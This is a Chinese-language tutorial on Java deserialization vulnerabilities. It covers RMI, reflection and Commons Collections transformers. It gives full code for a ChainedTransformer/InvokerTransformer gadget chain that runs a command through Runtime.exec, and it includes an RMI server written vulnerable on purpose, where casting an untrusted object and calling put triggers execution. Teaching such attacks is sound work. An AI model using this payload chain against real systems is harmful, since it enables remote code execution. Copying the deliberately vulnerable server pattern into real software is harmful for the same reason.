从原理学习Java反序列化

1 序列化与反序列化

1.1 概念

  • 序列化: 将数据结构或对象转换成二进制串的过程
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程

从原理学习Java反序列化_第1张图片

从原理学习Java反序列化_第2张图片

1.2 使用场景

  • 当你想把的内存中的对象状态保存到一个文件中或者数据库中时候。
  • 当你想用套接字在网络上传送对象的时候。
  • 当你想通过 RMI 传输对象的时候。

2 RMI

2.1 什么是 RMI

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个 Java 虚拟机的对象调用运行在另一个 Java 虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

从原理学习Java反序列化_第3张图片

2.2 使用例子

2.2.1 代码

// RMI 接口
package rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface rmidemo extends Remote {
    public String hello() throws RemoteException;
}
// RMI 类
package rmi;

import org.apache.commons.collections.map.TransformedMap;

import java.rmi.RemoteException;
import java.rmi.serverdemo.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo {

    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("构造方法");
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("Hello invoked!");
        return "Hello,world!";
    }
}
// 服务端程序
package rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException {
        rmidemo hello = new RemoteHelloWorld();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("hello", hello);
    }
}
// 客户端程序
package rmi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class clientdemo {
    public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException {
        // lookup 服务器的远程类
        rmidemo hello = (rmidemo) Naming.lookup("rmi://localhost:1099/hello");
        // 远程调用服务器函数
        System.out.println(hello.hello());
    }
}

2.2.2 运行结果

服务器端:

从原理学习Java反序列化_第4张图片

客户端:

从原理学习Java反序列化_第5张图片

可以看出通过 RMI 只能调用服务器上已经存在的函数,不能直接把我们的代码传输到服务器上执行。

3 反射

3.1 什么是反射

对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为 Java 语言的反射机制。

3.2 例子

package reflectiondemo;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class TestReflection {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class RuntimeClass = Class.forName("java.lang.Runtime");
        Method method = RuntimeClass.getMethod("getRuntime");
        Object runtime = method.invoke(RuntimeClass);
        RuntimeClass.getMethod("exec", String.class).invoke(runtime, "gnome-calculator");
    }

}

可以看到,在实例的代码中,并没有使用 Runtime 这个关键字,但是可以直接使用 Runtime 这个类及其实现的方法完成命令执行。在实际漏洞利用的过程中,软件开发者肯定不会帮攻击者导入好漏洞利用需要用到的类,所以使用反射就非常关键。

但是这段代码只能在本地执行,没办法通过 RMI 传输到服务器上执行。

4 Transformer

4.1 定义

此抽象类的实例可以将源树转换为结果树。

可以使用 TransformerFactory.newTransformer 方法获得此类的实例。 然后,该实例可用于处理来自各种源的XML,并将转换输出写入各种接收器。

此类的对象不能在并发运行的多个线程中使用。 不同的线程可以同时使用不同的变换器。

可以多次使用 Transformer 。 变换之间保留参数和输出属性。

可以将 Transformer 理解为一个转换器,不同的 Transformer 实现不同的功能,通过调用 transform 方法来使用 Transformer 的具体功能。

4.2 常用 Transformer 介绍

4.2.1 ConstantTransformer

每次返回相同常量的转换器实现。

// 构造函数
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

// transform 方法
public Object transform(Object input) {
    return iConstant;
}

从源码可以看出,它的功能很简单,就是直接返回传入的对象。

4.2.2 InvokerTransformer

通过反射创建新对象实例的转换器实现。

// 构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

// tranform 方法
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

从源码可以看出, InvokerTransformer 的作用是通过反射调用指定类的指定方法,并将调用结果返回。

4.2.1 ChainedTransformer

将指定的转换器链接在一起的转换器实现。

// 构造函数
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

// transform 方法
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

从源码可以看出, ChainedTransformer 的构造函数接收一个 Transformer 的列表,调用 transform 方法时,接收一个对象参数,使用该列表中的每一个 Transformer 对该对象参数进行 transform 操作,并最终返回传入的对象参数。

4.3 实例

使用 Transformer,我们可以将上面反射的例子改一下。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;


public class TestTransform {

    public static void main(String[] args) throws IOException {
        // 构造一个 Transformer 列表
        Transformer[] transformers = new Transformer[] {
                // 使用 ConstantTransformer 得到一个 Runtime.class
                new ConstantTransformer(Runtime.class),
                // 使用 InvokerTransformer 通过反射机制调用 getRuntime 方法
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null }),
                // 使用 InvokerTransformer 通过反射机制调用 调用 invoke 方法
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, null }),
                // 使用 InvokerTransformer 通过反射机制调用 exec 方法,实现命令执行
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" })
        };
        // 使用 ChainedTransformer 将这些 Transformer 连接起来
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 对列表中的 Transformer 的 Transform 方法逐个调用
        chainedTransformer.transform("1");
    }
}

使用 Transformer 改写这段代码,是为了将命令执行的操作从代码转换成对象,这样就可以通过网络传输了。

此时,我们只需要通过 RMI 将 chainedTransformer 这个对象传输到服务器上,调用 transform 方法,就可以触发代码执行。

5 反序列化漏洞实例

5.1 TransformedMap

装饰另一个 Map 以转换添加的对象。

简单来说就是给普通的 Map 对象添加 transform 功能,查看源码:

// 可以使用该方法将普通 Map 转换为 TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

// 构造函数
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    // 主要是这里,将参数直接赋值给 valueTransformer 了
    this.valueTransformer = valueTransformer;
}

protected Object transformValue(Object object) {
    if (valueTransformer == null) {
        return object;
    }
    // 注意,这里会调用 transform 方法
    return valueTransformer.transform(object);
}

// put 方法会调用 transformValue 方法
public Object put(Object key, Object value) {
    key = transformKey(key);
    value = transformValue(value);
    return getMap().put(key, value);
}

简单来说,我们可以将一个普通的 Map 转换成 TransformedMap,然后通过 RMI 传输到服务器上,找到服务器上调用 Map.put 的地方,就可以实现命令执行。

5.2 漏洞原理

从原理学习Java反序列化_第6张图片

5.3 代码

// rmidemo.java
package rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

// 定义一个 Remote 接口
public interface rmidemo extends Remote {
    // 声明一个函数,注意这个函数可以传入一个参数,这是漏洞利用的点
    public String hello(Object obj) throws RemoteException;
}


// RemoteHelloWorld.java
package rmi;

import org.apache.commons.collections.map.TransformedMap;

import java.rmi.RemoteException;
import java.rmi.serverdemo.UnicastRemoteObject;

// 定义一个类实现上面的 Remote 接口
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo {

    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("构造方法");
    }

    // 从远程调用的客户端获取参数
    @Override
    public String hello(Object obj) throws RemoteException {
        System.out.println("Hello invoked!");
        TransformedMap map = (TransformedMap) obj;
        // 漏洞产生的位置,TransformedMap 的 put 方法会调用 transform 方法
        // 在本例中,只要能够触发 obj 的 transform 方法就可以实现代码执行
        // 这虽然是我故意写的漏洞,但是日常编码过程中很难想象到 put 操作居然会导致命令执行
        map.put("1", "1");
        return "Hello,world!";
    }
}

// serverdemo.java
package rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// 服务器端代码
public class serverdemo {
    public static void main(String[] args) throws RemoteException {
        rmidemo hello = new RemoteHelloWorld();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("hello", hello);
    }
}

// clientdemo.java
package rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

// 客户端代码
public class clientdemo {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
        rmidemo hello = (rmidemo) Naming.lookup("rmi://localhost:1099/hello");
        // 通过 RMI 提交 payload
        System.out.println(hello.hello(getPayload()));
    }

    // 构造恶意对象
    public static Object getPayload()  {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, null }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" })
        };
        // ChainedTransformer 的特性,会对传入的 Transformer 数组逐个执行 transform
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "value");
        // 将普通 Map 转换成 TransformedMap
        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        return transformedMap;
    }
}

6 总结

Java 反序列化漏洞的利用,核心思想在于构造一个恶意对象,通过 RMI 远程调用把恶意对象传输到服务器,通过触发恶意对象的 transform 方法或者其他可以执行命令的方法,实现命令执行。

7 参考文章

  • Apache Log4j 远程代码执行漏洞源码级分析 - Yano_nankai - 博客园

  • Java反序列化:Apache-Shiro复现分析 - FreeBuf网络安全行业门户

  • Java安全之RMI反序列化 - nice_0e3 - 博客园

  • Java反序列化漏洞原理解析

你可能感兴趣的:(从原理学习Java反序列化)